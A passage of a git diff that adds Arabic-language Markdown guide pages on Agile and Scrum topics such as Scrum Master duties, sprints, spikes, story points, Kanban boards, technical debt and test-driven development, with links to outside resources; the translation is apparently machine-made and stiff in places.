+*   تراكم المنتج: هي قائمة المهام التي من المفترض أن ينتهي فريق العمل بها ضمن Sprint الحالي. تقرر من قبل مالك المنتج ، بالاتفاق مع الإدارة بالإضافة إلى فريق التسليم.
+
+## الأدوار
+
+*   مالك المنتج (صندوق البريد): الشخص المسؤول فقط إلى الإدارة. PO تقرر ما يدخل أو يخرج من تراكم المنتج.
+*   فريق التسليم: مطلوب منهم العمل وفقًا للمهام المحددة بواسطة أمر الشراء الخاص بهم في تراكم المنتج وتسليم الحوافز المطلوبة في نهاية السباق.
+*   Scrum Masters: - Scrum Master يجب أن تلتزم بصرامة بدليل Scrum وأن تجعل الفريق يفهم الحاجة إلى الالتزام بدليل Scrum عند اتباع Scrum. إنها مهمة سكرام ماستر لضمان أن جميع حفلات سكروم تجري في الوقت المحدد وشارك فيها جميع الأشخاص المطلوبين حسب دليل سكروم. يجب على SM ضمان أن يتم إجراء Daily Scrum بشكل منتظم ومشاركتها بنشاط من قبل الفريق.
+
+#### معلومات اكثر:
+
+هناك العديد من الأدوات عبر الإنترنت التي يمكن استخدامها لإجراء scrum لفريقك:
+
+*   [Scrum هل](https://www.scrumdo.com/)
+*   [أسانا](http://www.asana.com)
+*   [Trello](http://trello.com)
+*   [الإثنين](https://monday.com)
+*   [معسكر القاعدة](https://basecamp.com)
+*   [Airtable](https://airtable.com)
+*   [ورقة ذكية](https://www.smartsheet.com)
+
+في ما يلي بعض الموارد الإضافية:
+
+*   [لماذا سكروم](https://www.scrumalliance.org/why-scrum) من تحالف سكروم
+*   [دليل سكروم](http://www.scrumguides.org/scrum-guide.html) من Scrum.org
+*   [القيام مقابل كونها رشيقة](http://agilitrix.com/2016/04/doing-agile-vs-being-agile/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/scrummasters/index.md b/client/src/guide/arabic/agile/scrummasters/index.md
new file mode 100644
index 0000000000..58213ccc32
--- /dev/null
+++ b/client/src/guide/arabic/agile/scrummasters/index.md
@@ -0,0 +1,34 @@
+---
+title: Scrummasters
+localeTitle: Scrummasters
+---
+## سكروم ماستر
+
+The Scrum Master مسؤولة عن ضمان فهم Scrum وسنّها. يقوم Scrum Masters بذلك عن طريق ضمان التزام فريق Scrum بنظرية Scrum والممارسات والقواعد.
+
+The Scrum Master هو قائد خادم لفريق Scrum. يساعد Scrum Master الأشخاص خارج Scrum Team على فهم أي من تفاعلاتهم مع فريق Scrum مفيدة وأيها غير متوفرة. يساعد Scrum Master كل شخص على تغيير هذه التفاعلات لتعظيم القيمة التي أنشأها فريق Scrum.
+
+### سكروم ماجستير وظيفة
+
+*   تسهيل (غير مشارك في) الاستعداد اليومي
+*   مساعدة الفريق على الحفاظ على الرسم البياني للحرق
+*   وضع ما بعد الاسترجاعات ، استعراض السباق أو دورات تخطيط العدو
+*   حماية الفريق من الانقطاعات أثناء العدو
+*   إزالة العقبات التي تؤثر على الفريق
+*   المشي على مالك المنتج من خلال المزيد من قصص المستخدمين الفنية
+*   تشجيع التعاون بين فريق سكروم ومالك المنتج.
+
+عادة ما سيسألك Scrummaster عن العقود التالية:
+
+1.  ماذا فعلت البارحة؟
+2.  ماذا ستفعل اليوم؟
+3.  هل هناك شيء يوقف تقدمك؟
+
+أسياد سكروم هي جزء من فريق أجيل. يمكن أن يكونوا مطورين أو أعضاء وظيفيين آخرين (يرتدون قبعات متعددة) أو يعملون بشكل فردي كدور وحيد في الفريق. هدفهم الرئيسي هو تعزيز التنمية باستخدام إطار سكروم.
+
+غالبًا ما يتمثل دورهم في: توجيه التخطيط السريع ، ومراقبة الاستعدادات اليومية ، وإجراء عمليات استعادة الأحداث ، وضمان السرعة ، والمساعدة في تحديد السرعة.
+
+#### معلومات اكثر:
+
+*   [ما هو سكروم ماستر](https://www.scrum.org/resources/what-is-a-scrum-master)
+*   [دليل سكروم](https://www.scrum.org/resources/scrum-guide)
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/self-organization/index.md b/client/src/guide/arabic/agile/self-organization/index.md
new file mode 100644
index 0000000000..087990acf4
--- /dev/null
+++ b/client/src/guide/arabic/agile/self-organization/index.md
@@ -0,0 +1,25 @@
+---
+title: Self Organization
+localeTitle: التنظيم الذاتي
+---
+## التنظيم الذاتي
+
+من أجل الحفاظ على ديناميكية عالية وخفة الحركة للمشاريع المتطورة ، يجب على جميع أعضاء الفريق أن يتحملوا المسؤولية عن المنتج الجاري تطويره.
+
+أثبتت الهياكل التنظيمية الموجهة عموديا نفسها لتكون بطيئة وغير مرنة مع العديد من مستويات صنع القرار. إذا أراد فريق العمل بسرعة والرد بشكل حيوي على البيئة المتغيرة باستمرار ، فيجب أن يكون الهيكل التنظيمي ثابتًا مع شعور الأعضاء المسئولين بشدة عن مساهماتهم في المشروع.
+
+هذا لا يعني أن الإدارة عملية عفا عليها الزمن في فريق منظم ذاتي رشيق. إنه يتميز بخاصية مختلفة عن النهج التقليدي (خاصة في المنظمات الكبيرة ، ولكن ليس فقط) ، يثبت أنه أكثر فعالية عندما يكون أكثر دعماً واستشارياً من الاستبداد والمباشر.
+
+مؤسسة التنظيم الذاتي هي الثقة والالتزام من أعضاء الفريق.
+
+يقال إن فرق سكرم هي منظمة ذاتية التنظيم. هذا يعني أن العمل المنجز وبصفة عامة طريقة عمله متروك للفريق ليقرر - هم تمكينهم من قبل مديريهم لتوجيه أنفسهم في الطرق التي تجعلها أكثر فعالية. أعضاء الفريق (فريق التسليم ، مالك المنتج ، و Scrum Master) يفحص سلوكياتهم بشكل منتظم للتحسين المستمر.
+
+خلال تخطيط Sprint ، سينظر الفريق في تراكم المنتج (الذي سيتم تحديد أولوياته من قِبل مالك المنتج) وتحديد القصص التي سيعمل في العدو القادم والمهام التي ستحتاج إلى إكمال لتمييز القصة كما تم. سيقوم الفريق بتقدير درجة أو حجم لل قصة للدلالة على الجهد.
+
+خلال عدو سريع ، يعود الأمر لأعضاء الفريق لاختيار قصص تراكم السباق للعمل عليها ، وعادةً ما يقومون باختيار تلك التي يعتقدون أنها تستطيع التوصل. نظرًا لكونه فريقًا للتنظيم الذاتي ، يجب ألا يتم تعيين أي مهمة لأحد أعضاء الفريق بواسطة شخص آخر.
+
+#### معلومات اكثر:
+
+*   Scrum.org على [Scrum تعزيز التنظيم الذاتي](https://www.scrum.org/resources/blog/how-does-scrum-promote-self-organization)
+*   Scrum.org على [أدوار Scrum تعزيز التنظيم الذاتي](https://www.scrum.org/resources/blog/how-do-3-scrum-roles-promote-self-organization)
+*   Scrum التحالف على [ماذا وكيف التنظيم الذاتي](https://scrumalliance.org/community/articles/2013/january/self-organizing-teams-what-and-how)
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/spikes/index.md b/client/src/guide/arabic/agile/spikes/index.md
new file mode 100644
index 0000000000..cbfd8ebd91
--- /dev/null
+++ b/client/src/guide/arabic/agile/spikes/index.md
@@ -0,0 +1,22 @@
+---
+title: Spikes
+localeTitle: المسامير
+---
+## المسامير
+
+ليس كل ما يعمل عليه فريقك خلال Sprint هي "قصص المستخدم". في بعض الأحيان ، لا يمكن تقدير قصة المستخدم بفاعلية أو أن البحث مطلوب. ربما تكون هناك حاجة للمساعدة في اتخاذ قرار بين البنى المختلفة ، لاستبعاد بعض المخاطر ، أو قد يكون إثبات للمفهوم (POC) لإثبات القدرة.
+
+في هذه الحالات ، يتم إضافة سبايك إلى تراكم سبرينت. يجب أن تكون معايير القبول الخاصة بالسبايك إجابة على السؤال المطروح. إذا كانت التجربة أصعب من المتوقع ، فقد تكون الإجابة سلبية. (لهذا السبب يجب أن تكون سبايك محدودة في الوقت المناسب.)
+
+يتم تحديد الوقت والطاقة المستثمرة في Spike بشكل مقصود بحيث يمكن إكمال العمل داخل Sprint بينما يتم التأثير بشكل طفيف على "قصص المستخدم الأخرى". لا يحصل Spike عادةً على Story Point Estimate ، ولكنه يُمنح عدد محدد من الساعات ليتم العمل عليه.
+
+إظهار نتائج Spike في استعراض Sprint. استنادًا إلى المعلومات الجديدة ، يتم إعادة صياغة السؤال الأصلي كقصة مستخدم جديدة في سباق مستقبلي.
+
+حصل فريقك على المعلومات اللازمة لاتخاذ قرارات أفضل ؛ للحد من عدم اليقين. مع كمية صغيرة ومقيسة من مواردها لزيادة جودة وقيمة العمل في سباقات السرعة في المستقبل ، بدلا من اتخاذ القرارات على أساس التخمين العمل.
+
+#### معلومات اكثر:
+
+*   جبل الماعز البرمجيات [المسامير](https://www.mountaingoatsoftware.com/blog/spikes)
+*   المنتدى Scrum.org [كيفية دمج سبايك](https://www.scrum.org/forum/scrum-forum/5512/how-integrate-spike-scrum)
+*   Scrum Alliance [Spikes and Effort-to-Grief Ratio](https://www.scrumalliance.org/community/articles/2013/march/spikes-and-the-effort-to-grief-ratio)
+*   ويكيبيديا [سبايك](https://en.wikipedia.org/wiki/Spike_(software_development))
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/sprint-backlog/index.md b/client/src/guide/arabic/agile/sprint-backlog/index.md
new file mode 100644
index 0000000000..e9d2c460d1
--- /dev/null
+++ b/client/src/guide/arabic/agile/sprint-backlog/index.md
@@ -0,0 +1,13 @@
+---
+title: Sprint Backlog
+localeTitle: سباق المتراكمة
+---
+## سباق المتراكمة
+
+إن Sprint Backlog هي قائمة من المهام التي حددها فريق Scrum لإكمالها أثناء Scrum Sprint. أثناء اجتماع Sprint Planning ، يقوم الفريق بتحديد عدد من عناصر تراكم المنتجات ، عادةً في شكل قصص المستخدمين ، ويحدد المهام اللازمة لإكمال كل قصة مستخدم.
+
+من الأهمية بمكان أن يحدد الفريق نفسه عناصر وحجم Sprint Backlog. نظرًا لأنهم هم الأشخاص الذين يقومون بتنفيذ / إكمال المهام ، يجب أن يكونوا هم الأشخاص الذين يختارون ما يدعون إلى تحقيقه خلال سباق العدو.
+
+#### معلومات اكثر:
+
+[Scrum الدليل: Sprint Backlog](http://www.scrumguides.org/scrum-guide.html#artifacts-sprintbacklog)
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/sprint-planning-meetings/index.md b/client/src/guide/arabic/agile/sprint-planning-meetings/index.md
new file mode 100644
index 0000000000..2cd32dad70
--- /dev/null
+++ b/client/src/guide/arabic/agile/sprint-planning-meetings/index.md
@@ -0,0 +1,30 @@
+---
+title: Sprint Planning Meeting
+localeTitle: اجتماع التخطيط سبرينت
+---
+## اجتماع التخطيط سبرينت
+
+يتم تسريع تخطيط Sprint من قبل فريق Scrum Master ويتكون من فريق Scrum: فريق التطوير ، مالك المنتج (PO) و Scrum Master (SM). ويهدف إلى تخطيط مجموعة فرعية من عناصر تراكم منتج إلى تراكم Sprint. يبدأ Scrum Sprint عادة بعد اجتماع تخطيط Sprint.
+
+### الجزء الرئيسي
+
+من الأهمية بمكان أن يقوم الفريق بجزء من الاجتماع في جزئين من خلال طرح السؤالين التاليين:
+
+*   **ماذا** يجب على الفريق أن يخطط لسباق السرعة القادم؟
+*   **كيف** يجب على الفريق (تقريبًا) سحب العناصر المخطط لها؟
+
+#### ماذا
+
+في أي مرحلة يبدأ الفريق مع الجزء العلوي من Backlog المنتج المطلوب. الفريق على الأقل يقدر بشكل ضمني العناصر عن طريق التنبؤ بما يمكنهم أخذه إلى Sprint Backlog. إذا لزم الأمر ، يمكنهم طلب / مناقشة البنود مع أمر الشراء ، الذي يجب أن يكون في مكان مناسب لهذا الاجتماع.
+
+#### ماذا
+
+في المرحلة التي يناقشها الفريق في وقت قصير ، يختص كل عنصر تم تنزيله من Sprint ، مع التركيز على كيفية استيعابه. SM يساعد الفريق على عدم الغوص العميق في تفاصيل المناقشة والتنفيذ. من المحتمل جداً وجيد إذا طُلب المزيد من الأسئلة إلى أمر الشراء أو إدخال تحسينات على البنود ، أو عمل الفريق المتأخر.
+
+### سبرينت الهدف / الخاتمة
+
+يجب أن يأتي الفريق مع هدف Sprint مشترك من أجل Sprint للحفاظ على التركيز في مربع وقت Sprint. في نهاية تخطيط Sprint ، يتوقع الفريق أنه بإمكانه تحقيق هدف Sprint وإكمال جميع عناصر Sprint Backlog على الأرجح. يجب على SM منع الفريق من المبالغة في التقدير من خلال تقديم إحصاءات أو إحصاءات مفيدة.
+
+#### معلومات اكثر:
+
+[دليل سكروم: سبرت التخطيط](http://www.scrumguides.org/scrum-guide.html#events-planning) [ورقة الغش بسيطة لاجتماعات التخطيط العدو](https://www.leadingagile.com/2012/08/simple-cheat-sheet-to-sprint-planning-meeting/) [أربع خطوات لتخطيط سبرينت أفضل](https://www.atlassian.com/blog/agile/sprint-planning-atlassian)
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/sprint-planning/index.md b/client/src/guide/arabic/agile/sprint-planning/index.md
new file mode 100644
index 0000000000..63e6d10378
--- /dev/null
+++ b/client/src/guide/arabic/agile/sprint-planning/index.md
@@ -0,0 +1,19 @@
+---
+title: Sprint Planning
+localeTitle: تخطيط العدو
+---
+## تخطيط العدو
+
+في Scrum ، يحضر اجتماع تخطيط السباق من قبل مالك المنتج ، ScrumMaster وفريق Scrum بأكمله. قد يحضر أصحاب المصلحة الخارجيون بدعوة من الفريق ، على الرغم من أن هذا نادر في معظم الشركات. خلال اجتماع التخطيط السريع ، يصف مالك المنتج أعلى الميزات ذات الأولوية للفريق. يسأل الفريق أسئلة كافية حتى يتمكنوا من تحويل قصة مستخدم عالية المستوى من تراكم المنتج إلى المهام الأكثر تفصيلاً في تراكمات العدو.
+
+هناك نوعان من التحف الفنية المحددة الناتجة عن اجتماع تخطيط سباق:
+
+*   هدف السباق
+*   تراكم سباق
+
+تخطيط سبرينت هو محاصر بالوقت إلى حد أقصى من ثماني ساعات لمدة شهر واحد سبرينت. لسباقات قصيرة ، يكون الحدث أقصر عادة. يضمن سكروم ماستر أن الحدث سيحدث ويفهم المشاركون الغرض منه. تُعلِّم Scrum Master فريق Scrum للاحتفاظ بها ضمن مربع الوقت.
+
+#### معلومات اكثر:
+
+*   https://www.mountaingoatsoftware.com/agile/scrum/meetings/sprint-planning-meeting
+*   [دليل سكروم](http://www.scrumguides.org/scrum-guide.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/sprint-review/index.md b/client/src/guide/arabic/agile/sprint-review/index.md
new file mode 100644
index 0000000000..2632370caa
--- /dev/null
+++ b/client/src/guide/arabic/agile/sprint-review/index.md
@@ -0,0 +1,29 @@
+---
+title: Sprint Review
+localeTitle: استعراض سبرينت
+---
+## استعراض سبرينت
+
+استعراض Sprint هو واحد من الاحتفالات الرئيسية Scrum (جنبا إلى جنب مع Sprint Planning و Daily Stand Up و Retrospective و Grooming).
+
+في نهاية لعبة Sprint ، يستضيف فريق Scrum جلسة "دعوة إلى العالم" لعرض ما تم إنجازه وقبوله. المدعوين هم فريق سكروم ، أصحاب المصلحة ، المديرون ، المستخدمون ؛ أي شخص لديه مصلحة في المشروع.
+
+عقد هذه الجلسات كل سبرينت أمر مهم. قد يكون تحولًا في التفكير عرض العمل غير المكتمل لمديريك وأصحاب المصلحة. ولكن في مفهوم "Fail Fast" ، هناك قيمة لا تصدق في الحصول على تعليقات حول عملك المتزايد. يمكن لفريقك تصحيح الدورة التدريبية إذا لزم الأمر ، مع تقليل العمل المفقود.
+
+نظرًا لأن مالك المنتج (PO) غالبًا ما يقدم في مراجعة Sprint ، فإن Scrum Master عادةً ما يلتقط التعليقات ، وربما يسهل المناقشات ، ثم يعمل مع أمر الشراء للحصول على قصص مستخدمين جديدة تمت إضافتها إلى الأعمال المتراكمة وترتيبها حسب الأولوية.
+
+وقد يتضمن جدول الأعمال أيضًا مراجعة للحساب المتراكم (بما في ذلك القيمة والأولوية) ، والمقرر إجراؤه للتكرار التالي أو الاثنين ، وما يمكن إزالته من العمل المتراكم.
+
+**هام** يختلف استعراض Sprint تمامًا عن Retrospective. إن إعادة التفكير بشكل صارم لفريق Scrum (سكروم ماستر ، PO وفريق التسليم). يتم إعفاء الأطراف الأخرى التي تمت دعوتها إلى المراجعة من ، و من المحتمل أن تتداخل معها ، بأثر رجعي. (نعم ، بما في ذلك المديرون).
+
+#### معلومات اكثر:
+
+كين روبن من فوليولايشن [ستوب](https://www.scrumalliance.org/community/spotlight/ken-rubin/january-2015/stop-calling-your-sprint-review-a-demo%E2%80%94words-matte) كولينج سبرينتك [استعراض تجريبي](https://www.scrumalliance.org/community/spotlight/ken-rubin/january-2015/stop-calling-your-sprint-review-a-demo%E2%80%94words-matte)
+
+Scrum.org [ما هو استعراض العدو](https://www.scrum.org/resources/what-is-a-sprint-review)
+
+الجبل الماعز البرمجيات [استعراض سبرينت الاجتماع](https://www.mountaingoatsoftware.com/agile/scrum/meetings/sprint-review-meeting)
+
+اتلسيان [ثلاث خطوات](https://www.atlassian.com/blog/agile/sprint-review-atlassian) لمراجعات [أفضل سبرينت](https://www.atlassian.com/blog/agile/sprint-review-atlassian)
+
+العمر من المنتج [استعراض مكافحة الانماط](https://age-of-product.com/sprint-review-anti-patterns/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/sprints/index.md b/client/src/guide/arabic/agile/sprints/index.md
new file mode 100644
index 0000000000..719fa14c1b
--- /dev/null
+++ b/client/src/guide/arabic/agile/sprints/index.md
@@ -0,0 +1,21 @@
+---
+title: Sprints
+localeTitle: سباقات السرعة
+---
+## سباقات السرعة
+
+في Scrum ، تكون **Sprint** عبارة عن فترة زمنية تتراوح عادةً بين أسبوع وأربعة أسابيع يعمل فيها فريق التوصيل على مشروعك. تكون السباقات متكررة ، وتستمر حتى اكتمال المشروع. يبدأ كل سباق بجلسة Sprint Planning وينتهي باجتماع Sprint Review و Retrospective. استخدام سباقات السرعة ، بدلاً من الشلال الذي استمر لمدة شهور أو منهجيات متسلسلة خطية متتالية ، يسمح بعمليات تغذية مرتدة منتظمة بين مالكي المشروع وأصحاب المصلحة حول ناتج فريق التوصيل.
+
+## خصائص سباق
+
+\- يجب أن تظل المطبوعات بنفس طول الفترة الزمنية المحددة طوال مدة المشروع. - يعمل الفريق على تفكيك "قصص المستخدم" إلى حجم يمكن إكماله خلال مدة "سبرينت" دون الانتقال إلى المرحلة التالية. - غالبًا ما يتم استخدام "Sprint" و "Iteration" بالتبادل.
+
+#### معلومات اكثر:
+
+*   تحالف رشيق على [التكرارات](https://www.agilealliance.org/glossary/iteration/)
+*   تحالف رشيق على [Timeboxes](https://www.agilealliance.org/glossary/timebox/)
+*   المدرب رشيق على [سبرينت مقابل التكرار](http://agilecoach.typepad.com/agile-coaching/2014/02/sprint-vs-iteration.html)
+*   Scrum Alliance [Timeboxing كعامل تحفيزي](https://www.scrumalliance.org/community/articles/2014/february/timeboxing-a-motivational-factor-for-scrum-teams)
+*   Scrum Alliance [Sprint هو أكثر من مجرد Timebox](https://www.scrumalliance.org/community/articles/2014/may/sprint-is-more-than-just-a-timebox)
+*   Scrum Inc [ما هو Timeboxing](https://www.scruminc.com/what-is-timeboxing/)
+*   Scrum.org [ما هو سباق في سكروم](https://www.scrum.org/resources/what-is-a-sprint-in-scrum)
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/stakeholders/index.md b/client/src/guide/arabic/agile/stakeholders/index.md
new file mode 100644
index 0000000000..042733d23d
--- /dev/null
+++ b/client/src/guide/arabic/agile/stakeholders/index.md
@@ -0,0 +1,22 @@
+---
+title: Stakeholders
+localeTitle: أصحاب المصلحة
+---
+## أصحاب المصلحة
+
+أصحاب المصلحة هم الأشخاص الذين سيستفيدون من مشروعك. الأمر متروك لمالك المنتج لفهم النتيجة المطلوبة من قبل أصحاب المصلحة ، ولإبلاغ هذه الحاجة إلى فريق التسليم. يمكن أن يتكون أصحاب المصلحة من أي مما يلي
+
+*   المستخدمين
+*   الزبائن
+*   مدراء
+*   الممولين / المستثمرين
+
+مشاركتهم في المشروع أمر ضروري للنجاح.
+
+على سبيل المثال ، عندما يقوم فريقك بإجراء اجتماعات استعراض Sprint ، فإن العرض التوضيحي للمشروع مخصص لأصحاب المصلحة ، ويتم التقاط تعليقاتهم وإضافتها إلى الأعمال المتراكمة.
+
+#### معلومات اكثر:
+
+*   Scrum Study [أصحاب المصلحة في سكروم](https://www.scrumstudy.com/blog/stakeholders-in-scrum/)
+*   [أصحاب المصلحة الرئيسيون](https://www.scrum.org/resources/blog/scrum-who-are-key-stakeholders-should-be-attending-every-sprint-review)
+*   النمذجة رشيقة [المشاركة الفعالة لأصحاب المصلحة](http://agilemodeling.com/essays/activeStakeholderParticipation.htm)
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/story-points-and-complexity-points/index.md b/client/src/guide/arabic/agile/story-points-and-complexity-points/index.md
new file mode 100644
index 0000000000..585efafa60
--- /dev/null
+++ b/client/src/guide/arabic/agile/story-points-and-complexity-points/index.md
@@ -0,0 +1,25 @@
+---
+title: Story Points and Complexity Points
+localeTitle: نقاط القصة ونقاط التعقيد
+---
+## نقاط القصة ونقاط التعقيد
+
+في Scrum / Agile ، يتم استكشاف وظائف المنتج قيد التطوير من خلال **القصص التي** قد يخبرها المستخدم عن ما يريده من المنتج. يستخدم فريق **Story Points** عند تقدير مقدار الجهد المطلوب لتقديم قصة مستخدم.
+
+الملامح البارزة لنقاط القصة هي أنها:
+
+*   تمثل مساهمات الفريق بأكمله
+*   لا تساوي مباشرة الوقت الذي قد تستغرقه المهمة
+*   هي مقياس تقريبي لأغراض التخطيط - على غرار أوامر الحجم
+*   يتم تعيينها في تسلسل تشبه فيبوناتشي: 0 ، 1 ، 2 ، 3 ، 5 ، 8 ، 13 ، 20 ، 40 ، 100
+*   تقدير "حجم" القصص _المتعلقة ببعضها البعض_
+
+يمكن لمفهوم نقاط القصة أن يكون بعيد المنال إذا كنت جديدا على طرق Agile للقيام بالأشياء. ستجد العديد من المصادر على الإنترنت تناقش نقاط القصة بطرق مختلفة ، وقد يكون من الصعب الحصول على فكرة واضحة عن كيفية استخدامها وكيفية استخدامها.
+
+كما تعلم عن مبادئ ومصطلحات الممارسات مثل سكروم ، فإن أسباب بعض هذه الخصائص تصبح واضحة. إن استخدام نقاط القصة ، لا سيما في "الاحتفالات" مثل التخطيط للبوكر ، هو أسهل بكثير من خلال الملاحظة أو المشاركة أكثر من الشرح المكتوب!
+
+### معلومات اكثر:
+
+*   قصص المستخدم: [freeCodeCamp](https://guide.freecodecamp.org/agile/user-stories)
+*   الأخطاء الشائعة عند استخدام نقاط القصة: [متوسط](https://medium.com/bynder-tech/12-common-mistakes-made-when-using-story-points-f0bb9212d2f7)
+*   تخطيط لعبة البوكر: [جبل الماعز البرمجيات](https://www.mountaingoatsoftware.com/agile/planning-poker)
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/sustainable-pace/index.md b/client/src/guide/arabic/agile/sustainable-pace/index.md
new file mode 100644
index 0000000000..c9f1927302
--- /dev/null
+++ b/client/src/guide/arabic/agile/sustainable-pace/index.md
@@ -0,0 +1,11 @@
+---
+title: Sustainable Pace
+localeTitle: وتيرة المستدامة
+---
+## وتيرة المستدامة
+
+A Pace المستدامة هي الوتيرة التي يمكن أن تعمل أنت وفريقك لفترات طويلة ، حتى إلى الأبد. يحترم عطلتك الأسبوعية ، والأمسيات ، والعطلات ، والإجازات. يسمح للاجتماعات اللازمة ووقت التطوير الشخصي.
+
+#### معلومات اكثر:
+
+[ما هو "بيس بيسينج"؟](http://www.sustainablepace.net/what-is-sustainable-pace)
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/task-boards-and-kanban/index.md b/client/src/guide/arabic/agile/task-boards-and-kanban/index.md
new file mode 100644
index 0000000000..0329b42f74
--- /dev/null
+++ b/client/src/guide/arabic/agile/task-boards-and-kanban/index.md
@@ -0,0 +1,35 @@
+---
+title: Task Boards and Kanban
+localeTitle: لوحات المهام و Kanban
+---
+## لوحات المهام و Kanban
+
+Kanban هو وسيلة ممتازة لكل من فرق تطوير البرمجيات والأفراد تتبع مهامهم الشخصية.
+
+إذا كنت مشتقًا من المصطلح الياباني لـ "لافتة" أو "لوحة إعلانات" لتمثيل إشارة ، فإن المفتاح الرئيسي هو الحد من عملك قيد التقدم (WIP) إلى عدد محدود من المهام في وقت معين. يتم تحديد المبلغ الذي يمكن أن يكون قيد التنفيذ من خلال قدرة الفريق (أو الفرد) المقيدة. عندما تنتهي مهمة واحدة ، هذه إشارة لك لتحريك مهمة أخرى إلى مكانها.
+
+يتم عرض مهام Kanban على لوحة المهام في سلسلة من الأعمدة التي تظهر حالة المهام. في أبسط أشكالها ، يتم استخدام ثلاثة أعمدة
+
+*   لكى يفعل
+*   فعل
+*   فعله
+
+![مثال مجلس كانبان](https://upload.wikimedia.org/wikipedia/commons/thumb/d/d3/Simple-kanban-board-.jpg/600px-Simple-kanban-board-.jpg)
+
+_الصورة مجاملة من [ويكيبيديا](https://en.wikipedia.org/wiki/Kanban_board)_
+
+ولكن يمكن إضافة العديد من الأعمدة أو الولايات الأخرى. قد يتضمن فريق البرامج أيضًا انتظار الاختبار أو الاكتمال أو المقبولة ، على سبيل المثال.
+
+![المزيد من الأمثلة المعقدة](https://mktgcdn.leankit.com/uploads/images/general/_2048xAUTO_fit_center-center/1-SmalDevelopmentTeamKanbanBoard-eb79376d.png)
+
+_الصورة مجاملة من [leankit](https://leankit.com/learn/kanban/kanban-board-examples-for-development-and-operations/)_
+
+### معلومات اكثر:
+
+*   ما هو [كانبان](https://leankit.com/learn/kanban/what-is-kanban/) : [لينكيت](https://leankit.com/learn/kanban/what-is-kanban/)
+*   ما هو كانبان: [أتلاسيان](https://www.atlassian.com/agile/kanban)
+
+بعض المجالس على الانترنت
+
+*   [Trello](https://trello.com/)
+*   [KanbanFlow](https://kanbanflow.com)
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/technical-debt/index.md b/client/src/guide/arabic/agile/technical-debt/index.md
new file mode 100644
index 0000000000..69a43fe0dc
--- /dev/null
+++ b/client/src/guide/arabic/agile/technical-debt/index.md
@@ -0,0 +1,16 @@
+---
+title: Technical Debt
+localeTitle: الديون الفني
+---
+## الديون الفني
+
+في كثير من الأحيان في تطوير رشيق ، إذا كنت تنتج برامج في الممارسة "جيدة بما فيه الكفاية" ، سوف تضيف أيضا إلى الديون التقنية الخاصة بك. هذا هو تراكم اختصارات قصيرة والعمل.
+
+قارنها بالمال. عندما تتقاضى شيئًا من بطاقة ائتمان ، تكون قد تعهدت بدفعه لاحقًا. عندما تنشئ دينًا تقنيًا ، _يجب أن_ يلتزم فريقك بمعالجة هذه المشكلات وفقًا لجدول زمني.
+
+تتمثل إحدى فوائد العمل بشكل متكرر في عرض الزيادات بشكل متكرر وجمع التعليقات. إذا كان تمريرك الأول "جيدًا بما فيه الكفاية" ، والتغييرات مطلوبة نتيجة لتلك التعليقات ، فقد تكون قد تجنبت بعض العمل غير الضروري. التقاط هذا في backlog الخاص بك ، وتضمين جزء في كل سبرينت ليتم إعادة تصنيعها أو تحسينها.
+
+#### معلومات اكثر:
+
+*   تحالف Agile على [الديون الفنية](https://www.agilealliance.org/introduction-to-the-technical-debt-concept/)
+*   Scrum التحالف على [إدارة الديون التقنية](https://www.scrumalliance.org/community/articles/2013/july/managing-technical-debt)
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/test-driven-development/index.md b/client/src/guide/arabic/agile/test-driven-development/index.md
new file mode 100644
index 0000000000..fb94daf673
--- /dev/null
+++ b/client/src/guide/arabic/agile/test-driven-development/index.md
@@ -0,0 +1,38 @@
+---
+title: Test Driven Development
+localeTitle: اختبار مدفوعة التطوير
+---
+## اختبار مدفوعة التطوير
+
+التطوير المدفوع بالاختبار (TDD) هو أحد مناهج تطوير البرمجيات Agile. ويستند على مفهوم أن
+
+> يجب أن تكتب حالة اختبار للشفرة حتى قبل كتابة الشفرة
+
+هنا ، نكتب اختبار الوحدة أولاً ثم نكتب الكود لإكمال الاختبار بنجاح. وهذا يوفر الوقت المستغرق لإجراء اختبار الوحدة واختبار آخر مماثل ، لأننا نمضي قدمًا في التكرار الناجح للاختبار بالإضافة إلى تحقيق نمطية في الشفرة. انها اساسا تتكون من 4 خطوات
+
+*   اكتب حالة اختبار
+    
+*   انظر فشل الاختبار (الأحمر)
+    
+*   جعل تمرير الاختبار ، أي ما يرافق أي جرائم في هذه العملية (الأخضر)
+    
+*   ريفاكتور الكود الذي يصل إلى المعايير (ريفاكتور)
+    
+    هذه الخطوات تتبع مبدأ الأحمر-الأخضر-ريفاكتور. الأحمر والأخضر تأكد من كتابة أبسط رمز ممكن لحل المشكلة في حين أن الخطوة الأخيرة تتأكد من أن الكود الذي تكتبه متروك للمعايير.
+    
+
+يجب أن تتبع كل ميزة جديدة في النظام الخاص بك الخطوات المذكورة أعلاه.
+
+![تدفق tdd](http://www.agiledata.org/images/tddSteps.jpg)
+
+#### معلومات اكثر:
+
+[مقدمة](http://agiledata.org/essays/tdd.html) رشيقة البيانات [إلى TDD](http://agiledata.org/essays/tdd.html)
+
+ويكي على [TDD](https://en.wikipedia.org/wiki/Test-driven_development)
+
+مارتن فاولر [هو TDD ميت؟](https://martinfowler.com/articles/is-tdd-dead/) (سلسلة من المحادثات المسجلة حول الموضوع)
+
+كتاب كينت بيك [للتطوير المدفوع من خلال المثال](https://www.amazon.com/Test-Driven-Development-Kent-Beck/dp/0321146530)
+
+العم بوب في [دورات TDD](http://blog.cleancoder.com/uncle-bob/2014/12/17/TheCyclesOfTDD.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/the-agile-manifesto/index.md b/client/src/guide/arabic/agile/the-agile-manifesto/index.md
new file mode 100644
index 0000000000..279d19c5ba
--- /dev/null
+++ b/client/src/guide/arabic/agile/the-agile-manifesto/index.md
@@ -0,0 +1,42 @@
+---
+title: The Manifesto
+localeTitle: البيان
+---
+## البيان
+
+### الأصل
+
